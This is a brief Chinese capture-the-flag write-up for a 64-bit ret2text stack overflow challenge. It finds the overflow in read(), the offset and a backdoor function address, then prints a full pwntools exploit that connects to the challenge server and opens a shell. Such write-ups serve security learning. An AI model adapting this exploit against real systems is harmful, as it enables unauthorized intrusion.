简单的栈溢出,ret2text
64位,开启了NX保护
执行效果:
main函数:
因为读入的字符长度可以由用户输入的第一个参数值决定,因此read函数存在栈溢出
覆盖距离为0x10+8
存在后门函数:
后门函数地址0x4006E6
这里做不做堆栈平衡都可以,试了一下加不加1都可以打通
exp如下:
from pwn import *
io = remote("node5.buuoj.cn",28478)
payload1 = '33'
io.sendlineafter("Please input the length of your name:\n",payload1)
payload2 = b'a'*(0x10+8)+p64(0x4006E6+1)
io.sendlineafter("What's u name?\n",payload2)
io.interactive()
运行结果: